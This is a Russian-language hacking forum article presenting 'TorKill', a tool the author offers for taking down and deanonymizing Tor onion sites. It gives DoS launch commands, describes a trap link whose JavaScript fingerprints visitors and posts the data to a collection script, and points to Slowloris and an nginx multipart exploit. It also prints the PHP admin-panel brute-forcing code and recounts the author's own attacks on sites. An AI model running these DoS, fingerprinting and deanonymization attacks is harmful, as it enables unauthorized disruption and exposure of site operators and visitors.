Как работает Tor
Тут все очень просто сначала ваши данные попадают на входной(охранный или сторожевой) узел, дальше они попадают на промежуточный узел, а потом на выходной. Кто нибудь задумывался почему логотип Tor'a именно луковица ? Потому что, чтобы добраться до нас нужно сначала снять все слои шифрования. Сама идея возникла в 1995 году при поддержке ВМС США . Потом к разработке присоединился отдел Министерства обороны США. Сеть Tor была создана так, чтобы относиться к узлам с минимальным доверием - это достигается путем шифрования.
Клиент шифрует данные так, чтобы их мог расшифровать только выходной узел. Эти данные затем снова шифруются, чтобы их мог расшифровать только промежуточный узел. А потом эти данные опять шифруются так, чтобы их мог расшифровать только сторожевой узел
- Входной (или охранный, или сторожевой) узел — место, где ваши данные входят в сеть Tor. Причем выбирается не самый ближайший узел, а самый надежный, так что не удивляйтесь, если пинг оказывается на уровне пары сотен миллисекунд — это все для вашей безопасности.
- Промежуточный узел — создан специально для того, чтобы с помощью выходного узла нельзя было отследить входной: самый максимум, что получится отследить, это как раз промежуточный узел. Сам узел обычно представляет виртуальный сервер, так что операторы сервера видят лишь зашифрованный трафик и ничего более.
- Выходной узел — точка, откуда ваши данные отправляются уже на нужный адрес. Опять же — выбирается самый надежный сервер.
Принцип работы фреймворка
Основная цель TorKill - это сломать или взломать onion сайт. Я рекомендую использовать этот инструмент с onionscan от одного хорошего человека. Есть несколько легких вариантов сдеадонить сайт. Первый - это его положить, тогда в адресной строке мы увидим его настоящий ip. Второй - это найти незащищенный ssh отпечаток и использовать Shodan или Censys. Инструмент может - это все, включая создание сайта ловушки.
Ссылка на github.
Пример того, как с помощью DoS атаки Sh1ttyKids, смог обнаружить реальный адрес сайта по продаже наркотиков.
Чтобы не нагружать нашу систему инструмент отсылает запросы на подконтрольный мне сайт, который я зарегистрировал на этом хостинге. Теперь перейдем к установки дополнительных компонентов.
Если у вас не установлен pip:
Код:
apt-get install python-pip
Код:
python -m pip install paramiko
python -m pip install pysocks
python -m pip install colorama
python -m pip install BeautifulSoup
Чтобы запустить DoS атаку достаточно ввести:
Код:
python torkill.py -u http://target.com -t 100
Код:
python torkill.py -u http://target.com -a 10
Код:
ngrok http 80
Советую всем более подробней ознакомиться с данной программой.
Теперь вернемся к TorKill. Если мы перейдем по ссылке сгенерированной нашей программой, то сработает javascript код, который собирает информацию и отправляет post запрос в файл info.php.
Код:
{"dev":[{"platform":"Win32","browser":"Chrome\/67.0.3396.99","cores":"4","ram":"Not Available","vendor":"Google Inc.","render":"ANGLE (Intel(R) HD Graphics 4000 Direct$ect3D9Ex vs_3_0 ps_3_0)","ip":null,"ht":"768","wd":"1366","os":"Win64"}]}
При запуске программы она определяет сервер (кстати я очень много натыкался на сайты на которых стоит Apache) и определяет ip выходного узла. Узнав на чем расположен сайт можно его атаковать. Будь это Apache, то ищем под него эксплоиты или атакуем Slowloris, если nginx, то используем Nginx DoS. Также программа анализирует HTTP заголовки, ищет вход в панель администратора, ищет открытые директории, сканирует порты, собирает ссылки со страницы и получает fingerprint.
Еще 1 небольшое отступление, в котором я хочу рассказать о уязвимости в nginx. Это уязвимость позволяет положить сайт, который работает в связке nginx + php. Уязвимость позволяет исчерпать все ресурсы временными файлами, которые создаются при работе с данными форм вида multipart/form-data. Вот эксплоит.
Я знаю, что на многих серьезных onion ресурсах стоит защита от DDoS, но она, или не срабатывала, или не помогала, скрипт я запускал на VPS с 5 гб. Даже когда я атаковал со своего компьютера многие сайты на Apache падали.
Теперь рассмотрим PHP код программы на примере функции Admin FInder:
Код:
$host = $_GET['host'];
$requests = $_GET['req'];
$ip = gethostbyname($host);
echo '<ip>'.$ip.'</ip><br/>';
if(isset($_GET['find'])){
$admin = array("admin","administrator","adm","login","loign.php","administrator.php","admins.php","logins","admincp","admincp.php","admin1.php", "admin1.html", "admin2.php", "admin2.html", "yonetim.php", "yonetim.html", "yonetici.php", "yonetici.html", "ccms/", "ccms/login.php", "ccms/index.php", "maintenance/", "webmaster/", "adm/", "configuration/", "configure/", "websvn/", "admin/", "admin/account.php", "admin/account.html". "admin/index.php", "admin/index.html", "admin/login.php","admin/login.html", "admin/home.php", "admin/controlpanel.html", "admin/controlpanel.php", "admin.php", "admin.html", "admin/cp.php", "admin/cp.html", "cp.php", "cp.html", "administrator/","administrator/index.html", "administrator/index.php", "administrator/login.html", "administrator/login.php", "administrator/account.html", "administrator/account.php", "administrator.php","administrator.html", "login.php", "login.html", "modelsearch/login.php", "moderator.php", "moderator.html", "moderator/login.php", "moderator/login.html","moderator/admin.php","moderator/admin.html", "moderator/", "account.php", "account.html", "controlpanel/", "controlpanel.php", "controlpanel.html", "admincontrol.php", "admincontrol.html", "adminpanel.php","adminpanel.html", "admin1.asp", "admin2.asp", "yonetim.asp", "yonetici.asp", "admin/account.asp", "admin/index.asp", "admin/login.asp", "admin/home.asp", "admin/controlpanel.asp", "admin.asp", "admin/cp.asp", "cp.asp", "administrator/index.asp","administrator/login.asp","administrator/account.asp","administrator.asp", "login.asp", "modelsearch/login.asp", "moderator.asp","moderator/login.asp", "moderator/admin.asp", "account.asp", "controlpanel.asp", "admincontrol.asp", "adminpanel.asp", "fileadmin/", "fileadmin.php", "fileadmin.asp", "fileadmin.html","administration/", "administration.php", "administration.html", "sysadmin.php", "sysadmin.html", "phpmyadmin/", "myadmin/", "sysadmin.asp", "sysadmin/", "ur-admin.asp", "ur-admin.php","ur-admin.html", "ur-admin/", "Server.php", "Server.html", "Server.asp", "Server/", "wp-admin/", "administr8.php", "administr8.html", "administr8/", "administr8.asp", "webadmin/", "webadmin.php","webadmin.asp", "webadmin.html", "administratie/", "admins/", "admins.php", "admins.asp", "admins.html", "administrivia/", "Database_Administration/", "WebAdmin/", "useradmin/", "sysadmins/","admin1/", "system-administration/", "administrators/", "pgadmin/", "directadmin/", "staradmin/", "ServerAdministrator/", "SysAdmin/", "administer/", "LiveUser_Admin/", "sys-admin/", "typo3/","panel/", "cpanel/", "cPanel/", "cpanel_file/", "platz_login/", "rcLogin/", "blogindex/", "formslogin/", "autologin/", "support_login/", "meta_login/", "manuallogin/", "simpleLogin/", "loginflat/","utility_login/", "showlogin/", "memlogin/", "members/", "login-redirect/", "sub-login/", "wp-login/", "login1/", "dir-login/", "login_db/", "xlogin/", "smblogin/", "customer_login/", "UserLogin/","login-us/", "acct_login/", "admin_area/", "bigadmin/", "project-admins/", "phppgadmin/", "pureadmin/", "sql-admin/", "radmind/", "openvpnadmin/", "wizmysqladmin/", "vadmind/", "ezsqliteadmin/","hpwebjetadmin/", "newsadmin/", "adminpro/", "Lotus_Domino_Admin/", "bbadmin/", "vmailadmin/", "Indy_admin/", "ccp14admin/", "irc-macadmin/","banneradmin/","sshadmin/","phpldapadmin/","macadmin/","administratoraccounts/", "admin4_account/","admin4_colon/","radmind-1/","SuperAdmin/","AdminTools/","cmsadmin/","SysAdmin2/","globes_admin/","cadmins/","phpSQLiteAdmin/", "navSiteAdmin/","server_admin_small/","logo_sysadmin/","server/","database_administration/","power_user/", "system_administration/", "ss_vms_admin_sm/");
foreach ($admin as $shell){
$headers = get_headers($host.$shell);
if(stristr($headers[0],"200")){
echo "<admin><a href='$host$shell'>$host$shell</a> Founded!</admin>";
}
}
}
Код:
http://target.com?find&host=target.onion
Код:
data = requests.get(host + '?find&host=' + target1, headers=headers, proxies=proxies).text
Я думаю, стоит закончить статью. В дальнейшем программа будет улучшаться.
Автор статьи: DefWolf